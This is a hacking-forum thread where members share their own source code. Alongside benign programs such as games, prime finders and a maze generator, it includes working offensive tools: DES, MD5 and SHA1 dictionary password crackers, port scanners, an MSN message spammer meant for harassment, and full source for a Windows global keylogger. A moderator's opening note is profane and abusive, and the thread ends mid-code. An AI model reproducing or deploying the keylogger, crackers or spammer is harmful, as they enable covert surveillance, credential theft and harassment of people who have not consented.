Source code
** EDIT BY MR_CHEESE: To HBH Members reading this message: this will be removed shortly, just the facists at www.panf.info have stumbled across this site, because the "HBH Team" recently destroyed their racist community.
To PANF members reading this message: ok, lets get a few things straight.. this website has NOTHING to do with the HBH Team.. you fuck-sticks. The HBH Team is based somewhere external to this site. So, to put it simply so you racist cunts can understand… This website (HBH) is not affialted or condones any actions done by the HBH Team. HBH is not The HBH Team.
So dont go shouting abuse at HBH's members and thinking your really clever. beacuse they will have no clue as to what your on about. Not only that, but if you piss of certain members on this site.. you'll be in for alot of trouble!!
Anyway.. how stupid can you be. i mean FFS it takes you nearly a month to track The HBH Team to this website. what a bunch of idiots… at this rate i can see it taking you years to track The HBH Team to its actual headquarters. pfft retards.
p.s ROLFMAO at your site. you had it comming you red neck racists. have fun attempting to rebuild it. it will never be as it was. i'd give up now. LMAO**
BACK TO THE FORUM POST:
Well i don't know about you guys but i'm a fan of open source, i'm always curious how other people solve something and to see what they like to code etc. Especially when i'm out of ideas a good idea is always welcome so that's why i'm making this thread. So this is basically a parking spot for all your source code that you want to showoff so other people can worship you, learn from it, be amazed, flame you about it , etc etc .
Couple of guidelines:
-All programming languages, scripting languages etc goes.
that means:
-Python, Visual Basic, VB.NET, C, C++, C#, Assembler, Delphi, Java, Turbo Pascal , …..
-PHP, Javascript, Visual basic script, ASP, Batch, ….
Heck, even if you want to post a brainfuck script be my guest.
- All source code is acceptable, even those for "educational purposes", but fit it with an appropriate disclaimer or use the one below.
-If there are 3th party things needed let us know.
-if it's very large code , host the source file somewhere and link it plz, so the layout doesn't get f*cked up.
-Maybe a little bit of yourself, how long you have been programming and wich languages you program in, average coding time a day etc.
-A quick comment on what it does, wich language it is and if you are willing to write a tutorial about it, if you used resources maybe a link or two.
-If somebody would want to see a tutorial about it then just post, if there are like 4 replies then a tutorial could be written. Not that i'm saying that you have to write it but it would spice up the programming section a bit ;)
//also small programming challenges are always welcome
###########################################
DISCLAIMER
###########################################
The whole hbh team, nor the starter of this thread takes any
responsibilty of any malicious thing you are going to do with it.
All the source code is for educational purposes only.
Take responsibility for your own actions.
###########################################
So have fun posting your code, everybody's curious B)
It took me about 5 months to finish this project… I invested a lot of time and emotion into it, so I feel a little sheepish about showing it to everyone, but here you go:
#include<stdio.h>
void main() { printf("Hello World"); }
########################################### DISCLAIMER ########################################### The whole hbh team, nor the starter of this thread takes any responsibilty of any malicious thing you are going to do with it. All the source code is for educational purposes only. Take responsibility for your own actions. ###########################################
heres a little DES dictionary cracker that i made in Perl:
#!/usr/bin/perl -w
use strict;
my $dict = shift || &usage;
my $hash = shift || &usage;
my $salt = substr($hash,0,2);
if(-e "$dict")
{
open(LIST, "$dict") || die "Could not open $dict.\n";
{
print "Starting $0 by n3w7yp3....\n";
print "Cracking the hash \'$hash\' that has the salt \'$salt\' using the words in \'$dict\'...\n";
while(defined(my $passwd = <LIST>))
{
chomp $passwd;
if(crypt($passwd, $salt) eq $hash)
{
print "Password cracked!!!\nThe password is: $passwd\n";
close LIST;
exit;
}
}
close LIST;
die "The password was not found using the words from $dict.\n";
}
}
die "$dict does not exist!\n";
sub usage
{
die "Usage: $0 <wordlist> <hash>\nWordlist is the file to get words from.\nHash is the hash to crack.\n";
}
nothing too special ;-)
—EDIT—
wtf? the code didnt tab over, and my backslashes didn't show up!
nothing too special, a little game i made for linux in C++. I would post some vb stuff but thats quite hard to post.
#include <iostream>
#include <iomanip>
using namespace std;
int main()
{
int i;
string question;
int random_integer;
for(i= 0; i < 4; i++){
system("clear");
cout << "\033[31m8-ball - by scankyfrank\n";
system("sleep 0.3");
system("clear");
cout << "\033[32m8-ball - by scankyfrank\n";
system("sleep 0.3");
system("clear");
cout << "\033[33m8-ball - by scankyfrank\n";
system("sleep 0.3");
system("clear");
cout << "\033[30m8-ball - by scankyfrank\n";
}
while(question != "quit"){
random_integer = (rand()%10);
cout << "what is your question? ";
cin >> question;
switch (random_integer)
{
case 1:
system("clear");
cout << "Yes!\n";
break;
case 2:
system("clear");
cout << "No!\n";
break;
case 3:
system("clear");
cout << "Maybe...\n";
break;
case 4:
system("clear");
cout << "Definitely!\n";
break;
case 5:
system("clear");
cout << "Definitely Not!!!\n";
break;
case 6:
system("clear");
cout << "I'm a computer! How should i know!!\n";
break;
case 7:
system("clear");
cout << "Without a doubt!\n";
break;
case 8:
system("clear");
cout << "I doubt it!\n";
break;
case 9:
system("clear");
cout << "Most probably!\n";
break;
}
}
cout << "Bye\n";
return 0;
}
Language: C++ Purpose: Basic Portscanner
#include <iostream>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
using namespace std;
// Simple portscanner that shows the basics of socket use in C++
int main(){
//declaration of needed vars and everything
SOCKET mysocket;
int startport(0),endport(0);
char addres[MAX_PATH];
WSAData wsaData;
mysocket=WSAStartup(MAKEWORD(2,2) ,&wsaData);
if(mysocket==SOCKET_ERROR){
cout<<"Socket could not be started\n";
return 0;
}
cout<<"Socket started\n";
mysocket=socket(AF_INET, SOCK_STREAM,0);
SetConsoleTitle("$ FatBoy PortScanner $");
cout<<"\n";
cout<<"################\n";
cout<<"|PortScanner |\n";
cout<<"|Written in C++|\n";
cout<<"|By |\n";
cout<<"|Anarcho-Hippie|\n";
cout<<"################\n";
cout<<"\n";
cout<<"\n";
cout<<"\n";
cout<<"input ip addres here: ";
cin>>addres;
cout<<"\n";
cout<<"The Starting Port: ";
cin>>startport;
cout<<"\n";
cout<<"The Ending Port: ";
cin>>endport;
cout<<"\n";
endport++;
cout<<"###########################################################################\n";
do
{
loop:
SOCKADDR_IN server;
server.sin_port=htons(startport);
server.sin_family=AF_INET;
server.sin_addr.s_addr=inet_addr(addres);
if(connect(mysocket,(SOCKADDR*)(&server),sizeof(server))==SOCKET_ERROR)
{
cout<<startport<<" is currently on a holiday.\n";
startport++;
if(startport>=endport)
{
cin.get();
break;
}
goto loop;
}
else{
cout<<"Port "<<startport<<" is having a yardsale!\n";
closesocket(mysocket);
mysocket=socket(AF_INET,SOCK_STREAM,0);
startport++;
if(startport>=endport)
{
cin.get();
break;
}
goto loop;
}
}while (startport != endport);
cout<<"###########################################################################\n";
cout<<"thanks for using me!\n";
cin.get();
}
the freaky 92; thingies are backslashes
Yeah it doesn't include tabs and the backslash get's coded out, but anyone with half a brain in the programming language can see what it has to be, besides that, nice cracker. Also if somebody has some vb projects that they want to share but it's to hard to post just zip in the project files and host it somewhere, then post the link.
Programming language:VB Purpose: To get back on annoying people who don't get a clue.
'#########################################
'|Msn Spammer written by Anarcho-Hippie |
'|Some bugs need to be fixed, but it's |
'|working normally. Just to show how to |
'|make msn addons in vb. |
'#########################################
Public WithEvents msn As MessengerAPI.Messenger
Private Sub cmdstop_Click()
txtAantal.Text = 0
txtmessage.Text = ""
End Sub
Private Sub Command1_Click()
Dim i As Integer
If txtcontact.Text <> "" And txtmessage.Text <> "" And txtAantal.Text <> "" Then
cmdstop.Visible = True
For i = 0 To txtAantal.Text
Set MsnWindow = msn.InstantMessage(txtcontact.Text)
SendKeys (txtmessage.Text)
SendKeys "{ENTER}"
Next
txtAantal.Text = 0
Else
MsgBox ("Click on a contact, choose how many times, then input your message")
txtcontact.Text = ""
End If
End Sub
Private Sub Form_Load()
Set msn = New MessengerAPI.Messenger
Dim msncontact As IMessengerContact
Dim msncontacts As IMessengerContacts
Set msncontacts = msn.MyContacts
For Each msncontact In msncontacts
If msncontact.Status = MISTATUS_ONLINE Then
List1.AddItem (msncontact.SigninName)
End If
Next
End Sub
Private Sub List1_Click()
Dim email As String
Dim num As Integer
num = List1.ListIndex
email = List1.List(num)
txtcontact = email
End Sub
I'd try avoiding goto's in your C++ port scanner, but it's a mighty fine intro to winsock at least, pretty nice. Anyways, I made a ServerBetaAlpha v.00000000000111111423562782 HTTP daemon
It's Winsock oriented, uses asynch sockets, compiled under VC++ (6.0) and basically I stopped working on it because I was lyke, should each client be given their own thread? Should I use a linked list to store connections on FD_ACCEPT? omg i do not no! If anyone has any advice on how to handle client connections effectively, they should tell me ;) but otherwise my project will sit here outputting a default text. Anyways, more basic functional code, a bruteforce string generator! You know, like for Cain and such:
#include <string>
using std::string;
using std::cout;
using std::endl;
int main() {
string s = "aaaa";
int i = 0;
int length = s.length();
while(s[i]++)
{
while(s[i] == 'z' + 1) {
s[i] = 'a';
s[++i]++;
}
if(i == length)
{
break;
}
cout << s << endl;
i = 0;
}
cout << "done";
return 0;
}```
Annnnnddd, now in NASM syntax! Assembles: nasm prog.asm -o prog.com (yeah...com for now)
```markuporg 100h
mov ah, 09h ; For int 21h
mov edx, string ; "Load" string into dx
mov ebx, 0 ; "placeholder" var
L1:
int 21h ; Printit
inc byte[edx] ; First character
cmp byte[edx], 'z' ; if 'z', process
jle L1 ; if not z, jump back
mov ebx, 0 ; if it falls through
; Reset ebx counter
L2:
mov byte[edx+ebx],'a' ; When the character is 'z' reset
inc ebx ; increase placeholder
inc byte[edx+ebx] ; increase char next to it
cmp byte[edx+ebx],'z' ; Jump back if the char isn't 'z'
jle L1
cmp ebx, 03h ; Check for end of string
jle L2 ; Jump to L2 is it's not
mov ax,04c00h ; Errorlevel in al
int 021h ; Terminate
string db 'aaaaa', 0Dh,'$'```
OMG THE DEVS SHOULD ALLOW LIKE <PRE> TAGS IN THE CODE FORMATTING SO THAT IT DOESN'T MAKE MY FEELINGS CRY KK??
right, i made an encryption in c++. I think its quite original becuase i haven't seen anything like it before so if you know what kinda encryption this is please tell me.
#include <iostream>
using namespace std;
int main()
{
const int max = 80;
char str[max];
int count = 0;
int i = 0;
string encryption = "";
cout << "Enter a string:\n";
cin.getline(str,max,'\n');
while(str[count] != '\0')
count++;
for(i = count; i >=0; i--)
{
encryption = encryption + str[i] + str[i+1];
}
cout << encryption;
cout << "\n";
return 0;
}
also, i'm working on the decryption now, i know how it should work but i'm not sure how to code a curtain bit. So i've decided to make it a programming challenge for someone :).
I'm, uh, a bit confused about your program to say the least ;)
You calculate count with a newline, which is your delineator, so it'll just run off into memory until it some how hits a 0x0A by chance :o (unless your iostream is crazy)
Then uh, I guess you work backwards from the end so like if I had entered 'hello' it would say
enc += ol; enc += ll; enc += el; enc += he;
So then the encrypted string is 'olllleehh' (or lollelhe if I did it backwards), but this is hardly the case with your code, just the operator overloading on the '+' fucks things up, so that hardly works on my computer. Am I right on any of this? If so, I'm gonna make kind of a, uh, 'better' one:
#include <string>
using namespace std;
int main()
{
string szEncout;
string szInput;
cout << "Enter a string:\n";
getline(cin, szInput);
for(int i = szInput.length() - 1; i > 0; i--)
{
szEncout += szInput[i-1];
szEncout += szInput[i];
}
cout << szEncout;
cout << "\n";
return 0;
}```
And here's the decryptor (for the lollelhe one, the other would have been stupid!) I am infinitely ashamed that I had to resort to a char array, but assigned these values with the [] was shit, I don't know, all this overloading on the underside of things. So I did char* buf = new char[inputlen]; because the source string is guaranteed to be smaller than the encrypted one ;)
```markup#include <iostream>
#include <string>
using namespace std;
int main()
{
string szEncin = "";
cout << "Enter encrypted string: ";
getline(cin, szEncin);
int i = szEncin.length() - 1;
char* szOut = new char[i];
///////////
// Decryption scheme, i -= 2
// is crucial, write it out on
// paper to be sure ;)
///////////
int j = 0;
for(; i > 0; i-=2, j++)
{
szOut[j] = szEncin[i-1];
szOut[j+1] = szEncin[i];
} szOut[j+1] = 0;
cout << szOut;
return 0;
}```
Oh well, whatever, I figured I'd post a hasher I made a little while ago that SUCKS ASS! No padding, the free() doesn't work so there's a (small) memory leak, and input needs to be greater than 32 for this to work!
```markup#include <stdio.h>
#include <string.h>
#include <malloc.h>
char* output = (char*) calloc(32, 1);
char* Hash(char* input, int length)
{
for(int i = 0; i < length; i++)
{
output[i%32] = (input[i] ^ i);
output[i%32] %= 26; // Forces it into 26 letter alph
output[i%32] += 97; // Makes it lower case, from 26
}
output[32] = 0; // Null terminate, no weird heap stuff
return output;
}
int main(int argc, char* argv[])
{
printf("\n\tFinal: %s", Hash(argv[1], strlen(argv[1])));
return 0;
}```
Sample output:
C:\Tests\Debug>test omgomgomgomgomgomgomgomgomgomgomgomgomgomgomgomgomg
Final: tabqxunurarsxopurohwlstipmvmjsjk
Post some more code guys :)
basic text editor :P ```markup#!/python24 print "Hello and welcome to the most basic text editor creater ever. Remember once writing the document pressing enter will close it." b = raw_input( "What shall the file be named? " ) c = open( b + ".txt", "a" ) c.write( raw_input( "Type document now: " ) )
four lines lol
portscanner in python
#!/python24
import socket
host = raw_input("What is the IP? ")
port0 = raw_input("What is the starting port? ")
port1 = raw_input("What is the finishing port? ")
output = raw_input("What shall the log output file be called? ")
port = port0
print "Scanning ports..."
z = open(output + ".txt", "a")
z.write("Scan result: ")
z.close()
while int(port) <= int(port1):
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host, int(port)))
z = open(output + ".txt", "a")
z.write("Port: " + str(port) + " is open. ")
z.close()
s.close()
print port
port = int(port) + 1
except socket.error:
z = open(output + ".txt", "a")
z.write("Port: " + str(port) + " is closed. ")
z.close()
s.close()
print port
port = int(port) + 1
This is a procedure to make a list into a matrix. Does anyone know what language this is?
(define makesublist
(lambda (list size)
(if (zero? size)
'()
(cons (car list) (makesublist (cdr list) (- size 1))))))
(define shortlist
(lambda (list number)
(if (zero? number)
list
(shortlist (cdr list) (- number 1)))))
(define list->matrix
(lambda (list)
(let ([number (list-ref list 0)]
[size (list-ref list 1)])
(makelist (cddr list) number size))))
(define makelist
(lambda (list number size)
(if (null? list)
'()
(cons (makesublist list size) (makelist (shortlist list size) number size)))))
dictionary md5 pass-cracker in python. very fast in IDLE.
import md5
a = raw_input("What is the hash to be cracked? ")
z = raw_input("Where is the dictionary file? ")
c = 0
b = open( z, "r")
b.seek(0)
while ( c != a ):
x = b.readline()
c = md5.new(x).hexdigest()
print x
d = open("Password.txt", "a")
d.write("Hash: " + a + " Password: " + x)```
a little Perl script that will do a dictionary attack on a DES, MD5 or SHA1 hash. it will identify the appropriate algorithm to use and spit out the password if it is in the wordlist provided. it is pretty fast.
#!/usr/bin/perl -w
# written by n3w7yp3
use strict;
use Digest::MD5;
use Digest::SHA1;
my $dict = shift || &usage;
my $hash = shift || &usage;
my $count = 0;
print "Starting $0 by n3w7yp3...\n";
if(!(-e "$dict"))
{
die "$dict does not exist!\n";
}
open(LIST, "$dict") || die "Unable to open $dict!\n";
print "Cracking the hash \'$hash\', using the words in \'$dict\'...\n";
if($hash =~ /^.{32}$/)
{
&md5;
}
if($hash =~ /^.{40}$/)
{
&sha1;
}
else
{
&des;
}
sub usage
{
die "Usage: $0 <wordlist> <hash>\nWordlist is the wordlist to get words from.\nHash is the hash to crack. Valid hash types are: DES, MD5, and SHA1.\n";
}
sub md5
{
print "Algorithm is: MD5.\n";
while(defined(my $password = <LIST>))
{
chomp $password;
my $new_md5 = Digest::MD5 -> new;
$new_md5 -> add ("$password");
my $new_md5_hash = $new_md5 -> hexdigest;
$count++;
if($new_md5_hash eq $hash)
{
print "Password cracked!!!\n";
print "Password is: $password\n";
print "Password was cracked in $count tries.\n";
close LIST;
exit;
}
}
close LIST;
die "The password was not found in the words from \'$dict\'.\n";
}
sub sha1
{
print "Algorithm is: SHA1.\n";
while(defined(my $password = <LIST>))
{
chomp $password;
my $new_sha1 = Digest::SHA1 -> new;
$new_sha1 -> add ("$password");
my $new_sha1_hash = $new_sha1 -> hexdigest;
$count++;
if($new_sha1_hash eq $hash)
{
print "Password cracked!!!\n";
print "Password is: $password\n";
print "Password was cracked in $count tries,\n";
close LIST;
exit;
}
}
close LIST;
die "The password was not found in the words from \'$dict\'.\n";
}
sub des
{
my $salt = substr($hash,0,2);
print "Algorithm is: DES.\n";
print "Salt is: $salt\n";
while(defined(my $password = <LIST>))
{
chomp $password;
$count++;
if(crypt($password, $salt) eq $hash)
{
print "Password cracked!!!\n";
print "Password is: $password\n";
print "Password was cracked in $count tries.\n";
close LIST;
exit;
}
}
close LIST;
die "The password was not found in the words from \'$dict\'.\n";
}
Check it out, I made a keylogger (ultra beta alpha v0.000000121541) that doesn't copy the fucking NewOrder or MSDN examples like all the other kiddies do when they think they made a keylogger!
The .dll code (used for the global logger hook)
HHOOK hKeyhook;
TCHAR szBuf[1];
DWORD dwBytes;
HANDLE g_hFile;
BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
/////////////
// This is very beta and I am still working on what
// is actually happening. When logger exe attaches
// Log file is created, on detach, handle close??
//////////////
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
g_hFile = ::CreateFile
("C:\\log.txt", GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
case DLL_THREAD_ATTACH: break;
case DLL_THREAD_DETACH: break;
case DLL_PROCESS_DETACH: ::CloseHandle(g_hFile);
}
return TRUE;
}
LRESULT WINAPI CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {
if( code < 0 )
return CallNextHookEx( hKeyhook, code, wParam, lParam );
///////////
// Process the hook, key messages
// are in wParam, lParam contains
// mostly useless info I had trouble
// implementing and gave up
///////////
else if( wParam == VK_SPACE ) ::WriteFile( g_hFile, " ", 1, &dwBytes, NULL );
else if( wParam == VK_RETURN ) ::WriteFile( g_hFile, "\n", 1, &dwBytes, NULL );
///////////////
// Letters and such
///////////////
else if( wParam > 0x40 && wParam < 0x5B )
{
if( GetKeyState( VK_CAPITAL ) ) {
szBuf[ 0 ] = wParam;
szBuf[ 1 ] = '\0';
::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL );
}
else
{
szBuf[ 0 ] = wParam;
szBuf[ 1 ] = '\0';
::WriteFile( g_hFile, szBuf, 1, &dwBytes, NULL );
}
}
return CallNextHookEx(hKeyhook, code, wParam, lParam);
}```
The .exe (set's up keyhook, etcetra)
```markup#define WIN32_LEAN_AND_MEAN
#include <windows.h>
void Error(char s[])
{
TCHAR errBuff[ 1024 ];
wsprintf( errBuff, "%s: %ld", s, GetLastError() );
::MessageBox(NULL, errBuff, "Rawr.", 0);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
HHOOK hKeyhook;
HINSTANCE hLib;
HOOKPROC hProc;
MSG message;
//////////////
// DLL lib containing our
// filter function for hook
///////////////
hLib = ::LoadLibraryEx
("C:\\keylog\\Debug\\keylog.dll",
NULL, DONT_RESOLVE_DLL_REFERENCES );
if(hLib == NULL)
{
Error("Keylog library could not be loaded"); return 0;
}
///////////////////
// This loads our filter functionhellohhhelo
// that logs all keystrokeshhellohThis Is A Test This Is A TEst
//////////////////
hProc = (HOOKPROC) ::GetProcAddress(hLib, "KeyboardProc");
if(hProc == NULL)
{
Error("Keyhook procedure not located; failed"); return 1;
}
hKeyhook = SetWindowsHookEx(WH_KEYBOARD, hProc, (HINSTANCE) hLib, 0);
/////////////
// Message loop of hell
/////////////
while ( ::GetMessage(&message, NULL, 0, 0) ) {
::TranslateMessage( &message );
::DispatchMessage( &message );
}
::UnhookWindowsHookEx(hKeyhook);
::FreeLibrary(hLib);
return 0;
}```
The code looks much better with whitespace and tabbing, but the forums kind of mess that up eh?
my md5 cracker required you to input too much data us lazy people like to just copy-paste :D
import md5
e = open("C:/hash.txt", "r")
a = e.readline()
c = 0
b = open("C:/wordlists/wordlist.txt", "r")
b.seek(0)
while ( c != a ):
x = b.readline()
c = md5.new(x).hexdigest()
d = open("Password.txt", "a")
d.write("Hash: " + a + " Password: " + x)
as you can see it uses c:/wordlists/wordlist.txt for the dictionary and C:/hash.txt as teh hash source just have the hash in there on the top line and with nothing else :d also fix the tabs >.<
made it for quick checking of my md5 cracker this didn't really work but still gives the results don't ask me why.
#!/pyhton24
import md5
a=md5.new(raw_input("What is the password? ")).hexdigest()
print "The hash is " + a
b=open("c:/hash.txt", "w")
b.write(a)
raw_input()
enjoy.
This code generates a maze that has only one correct solution and each cell is accessable. It's written in C with OpenGL
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include "stack.h"
#include <GL/glut.h>
/* definitions */
#define WALL 1
#define NOWALL 0
#define MAXSIZE 128
#define RIGHT 0
#define TOP 1
#define LEFT 2
#define BOTTOM 3
/* for random numbers generator */
#if defined (_WIN32)
#define SEED srand
#define RANDNUM rand
#define RANDMAX RAND_MAX
#else
#define SEED srandom
#define RANDNUM random
#define RANDMAX (1u<<31)-1
#endif
/* global variables */
int horiz [MAXSIZE+1][MAXSIZE];
int verti [MAXSIZE][MAXSIZE+1];
/* functions */
void openInOut();
void initMaze(int m, int n);
void generateMaze ();
bool cellsAvailable(int i, int j, int direction);
void visitCell(int iStart, int jStart);
void displayMaze();
void displayCallback();
void openInOut() {
/* Creates a random entrance and a random exit to the maze.
* The entrance is on the left side of the maze.
* The exit is on the right side of the maze.
*/
int val = int(Y * rand()/(RAND_MAX+1.0));
verti[0][val] = NOWALL; // entrance
val = int(Y * rand()/(RAND_MAX+1.0));
verti[X][val] = NOWALL; // exit
}
void initMaze(int m, int n) {
/* Makes sure the maze isn't too big or too small.
* Intializes the stack (in stack.h).
*/
if(m < 4)
m = 4;
if(m > 64)
m = 64;
if(n < 4)
n = 4;
if(n > 64)
n = 64;
initStack(m,n);
}
void generateMaze () {
/* Starts maze generation. Sets all walls to on.
* Finds a random starting spot in the maze.
* Calls visitCell to knock down internal walls.
* Calls openInOut to open up an entrance and an exit to the maze.
*/
int i;
int j;
int iStart;
int jStart;
for(i = 0; i < X ; i++) {
for(j = 0; j < Y + 1; j++) {
horiz[i][j] = WALL; // all horizontal walls on
}
}
for(i = 0; i < X + 1; i++) {
for(j = 0; j < Y; j++) {
verti[i][j] = WALL; // all vertical walls on
}
}
/* start somewhere along in the maze */
iStart = int(X * rand()/(RAND_MAX+1.0));
jStart = int(Y * rand()/(RAND_MAX+1.0));
/* Now, traverse the maze, and crack down enough walls to make a
perfect maze */
visitCell(iStart, jStart);
openInOut(); /* Open up an entrance and exit to the maze */
}
bool cellsAvailable(int i, int j, int direction) {
/* Tells if the adjacent cells are available.
* Here available means that the cells are within
* the maze boundry (the switch statement), and that
* no walls of the adjacent cell have been removed.
*/
switch(direction) {
case RIGHT:
i++;
if(i >= X) // off the right side of the maze
return false;
break;
case TOP:
j++;
if(j >= Y) // above the maze
return false;
break;
case LEFT:
i--;
if(i < 0) // off the left side of the maze
return false;
break;
case BOTTOM:
j--;
if(j < 0) // below the maze
return false;
break;
}
// checking to see if any walls have been knocked down
if(verti[i][j] == NOWALL ||
verti[i + 1][j] == NOWALL ||
horiz[i][j] == NOWALL ||
horiz[i][j + 1] == NOWALL) {
return false;
}
return true;
}
void visitCell(int iStart, int jStart) {
/* Here the maze generation algorithm executes.
* See below comments for more detailed description
* of how this algoritm works.
*/
int iNext = iStart;
int jNext = jStart;
Cell currentCell; // struct defined in stack.h
char availableCells[4];
int availableCount = 4;
int visitedCells = 1;
int totalCells = getSize(); // getSize() defined in stack.h
currentCell.i = iNext;
currentCell.j = jNext;
while(visitedCells < totalCells) {
//find all neighbors of CurrentCell with all walls intact
//check adjacent cells and see if all 4 of their walls are up
// if they are all up then they are available
// else not available
availableCount = 4;
for(int c = 0; c < 4; c++)
availableCells[c] = 1;
if(!cellsAvailable(iNext, jNext, RIGHT)) {
availableCells[RIGHT] = 0;
availableCount--;
}
if(!cellsAvailable(iNext, jNext, TOP)) {
availableCells[TOP] = 0;
availableCount--;
}
if(!cellsAvailable(iNext, jNext, LEFT)) {
availableCells[LEFT] = 0;
availableCount--;
}
if(!cellsAvailable(iNext, jNext, BOTTOM)) {
availableCells[BOTTOM] = 0;
availableCount--;
}
//if one or more found
if(availableCount > 0) {
//choose one at random
int randWall;
do {
randWall = int(4.0 * rand()/(RAND_MAX+1.0));;
} while (!availableCells[randWall]);
//knock down the wall between it and CurrentCell
switch(randWall) {
case RIGHT:
verti[iNext + 1][jNext] = NOWALL;
iNext++;
break;
case TOP:
horiz[iNext][jNext + 1] = NOWALL;
jNext++;
break;
case LEFT:
verti[iNext][jNext] = NOWALL;
iNext--;
break;
case BOTTOM:
horiz[iNext][jNext] = NOWALL;
jNext--;
break;
}
//push CurrentCell location on the CellStack
push(currentCell);
//make the new cell CurrentCell
currentCell.i = iNext;
currentCell.j = jNext;
//add 1 to VisitedCells
visitedCells++;
} else {
//pop the most recent cell entry off the CellStack
//make it CurrentCell
currentCell = pop();
//set iNext and jNext for next iteration
iNext = currentCell.i;
jNext = currentCell.j;
}
}
}
void displayMaze() {
/* Displays the maze using OpenGL.
* Called after walls have been knocked down.
*/
glMatrixMode (GL_PROJECTION);
glLoadIdentity ();
gluOrtho2D (-0.1, 1.1, -0.1, 1.1); // Set viewing area
glScalef(1.0f/(X), 1.0f/(Y), 1); // Scale maze so it fits
glClearColor (1.0, 1.0, 1.0, 0.0); // Make the background white.
glColor3f (0.0, 0.0, 0.0); // Draw in black.
glNewList(1, GL_COMPILE);
glBegin(GL_LINES);
float i,j;
/* Draw horizontal lines */
for(i = 0; i < X; i++) {
for(j = 0; j <= Y; j++) {
if(horiz[(int)i][(int)j] == WALL) {
glVertex2f(i, j);
glVertex2f(i+1.0f, j);
}
}
}
/* Draw vertical lines */
for(i = 0; i <= X; i++) {
for(j = 0; j < Y; j++) {
if(verti[(int)i][(int)j] == WALL) {
glVertex2f(i, j);
glVertex2f(i, j+1.0f);
}
}
}
glEnd ();
glEndList();
}
void displayCallback() {
/* This is the callback function that
* gets executed every time the display
* needs to be updated.
*/
glClear (GL_COLOR_BUFFER_BIT);
glCallList (1);
glutSwapBuffers ();
}
main (int argc, char* *argv) {
/* Program starts here.
* Makes sure there are the correct number of args.
* Calls initMaze.
* Calls the appropriate OpenGL/GLUT init functions.
* Calls generateMaze to determine what to be displayed.
* Calls displayMaze to display maze.
*/
if(argc != 3) {
fprintf(stderr,
"Usage is %s X Y, where X and Y are integers between 4 and 64\n",
argv[0] );
return -1;
}
int m = atoi(argv[1]);
int n = atoi(argv[2]);
initMaze(m,n);
glutInit (&argc, argv);
glutInitWindowSize (600, 600);
glutInitWindowPosition(100, 100);
glutInitDisplayMode (GLUT_RGB | GLUT_DOUBLE);
glutCreateWindow ("Maze by *******");
glutDisplayFunc (displayCallback);
generateMaze();
displayMaze();
glutMainLoop ();
}
Prime number finder, its in python, also you need to fix the tabing ththis thign doesnt alow it…
#!/python24
a=raw_input("Find all prime numbers below? ")
print "2"
b=3
c=2
d=open("primesunder"+a+".txt", "a")
d.write("Find all primes below "+a+":\n")
d.write("2\n")
while(int(b)<int(a)):
while(int(b)>int(c)):
if(int(b)%int(c)==0):
b=b+1
c=2
continue
else:
c=c+1
continue
print b
d.write(str(b)+"\n")
b=b+1
c=2
print "Done!\a"
raw_input()
# Wolfmankurd's prime number finder.```
This is techniqally pretty slow but practically fast, IE how it finds the primes makes me sick as a mathamatician but it does it fast.
prime checker also gives oyu the factor making a number not prime.(need to fix the tabs)
#!/python24
a=raw_input("Enter number to see if it's prime: ")
if(int(a)==1):
print "\aOne is not a prime number, although commonly believed to be one."
if(int(a)==2):
print "\aTwo is a prime number, the first infact!"
raw_input()
c=2
while(int(a)!=int(c)):
if(int(a)%int(c)==0):
print str(a)+" is not a prime number! It is devisible by\a "+str(c)
raw_input()
else:
c=c+1
continue
print a+" is a prime number!\a"
raw_input()
# Wolfmankurd's prime number finder.
pretty nifty but the why it works is not pretty…
My alarm clock:
$time = date("h:i");//date is
echo $time;//display date
if($time == "12:17")//if time == time to wake up
require ("http://localhost/rec.html");//require a page that loops a noise
else
echo "<meta http-equiv='refresh' content='0;URL=time.php'>";//refresh
?>```
Very Impressive i love the post idea im not much of a programer but i agree i like to get idea i might program up a little trojan /virus y? because i can and its either that or Private Sub Command1_Click() MsgBox "hello world , i h8e my self" End Sub but it would be for ""educational purposes"wink wink":)
I've been coding a little socket class for my own personal use. I can never use other people classes effectively anyways. So again, I dunno how helpful it is posting the code.
// MAIN.CPP
// Test of my socket class ._.
/////////////
int main(int argc, char **argv)
{
Pills::Socket* server = new Pills::Socket();
std::string buf;
try
{
server->connect(std::string(argv[1]), 80);
std::string header;
header += "GET / HTTP/1.1\r\nHost: ";
header += argv[1];
header += "\r\n\r\n";
server->send(header);
server->recv(buf);
}
catch(Pills::Exception e)
{
MessageBox(0, std::string("Error Code: " + e.what()).c_str(), "Error Encountered", 0);
}
std::cout << buf << "\n\n\tDone.";
return 0;
}```
```markup///////////
// SOCKET.CPP
// Implements the socket
// member functions
//////////////
#include "server.h"
namespace Pills
{
inline std::string s(unsigned int n) {
std::stringstream ss; ss << " " << n;
return ss.str();
}
int Socket::sCount = 0;
Socket::Socket() :
m_sSock(0), m_sHost(0), m_sTimeOut(0)
{
if(Socket::sCount == 0)
{
WSADATA wsaData;
if (::WSAStartup(MAKEWORD(2,2), &wsaData) == 0)
{
if (!(LOBYTE(wsaData.wVersion) >= 2))
{
if(!(::WSACleanup() == 0))
{
throw Exception("101");
}
throw Exception("102");
}
}
else
throw Exception("103");
}
Socket::sCount++;
}
void Socket::connect(std::string &host, int port)
{
m_sHostName = host.c_str();
m_sPort = port;
m_sHost = ::gethostbyname(m_sHostName.c_str());
if(!m_sHost)
throw Exception("104");
m_sInfo.sin_family = AF_INET;
m_sInfo.sin_addr = *((LPIN_ADDR)*m_sHost->h_addr_list);
m_sInfo.sin_port = htons(m_sPort);
m_sSock = ::socket(AF_INET, SOCK_STREAM, 0);
if(m_sSock == SOCKET_ERROR)
throw("106");
if(::connect(m_sSock, (LPSOCKADDR)&m_sInfo,
sizeof(struct sockaddr) ) == SOCKET_ERROR)
throw Exception("105", WSAGetLastError());
}
int Socket::recv(char* buf,int len, int block)
{
int ret;
if(block == 0)
{
if((ret = ::recv(m_sSock, buf, len,0)) == SOCKET_ERROR)
{
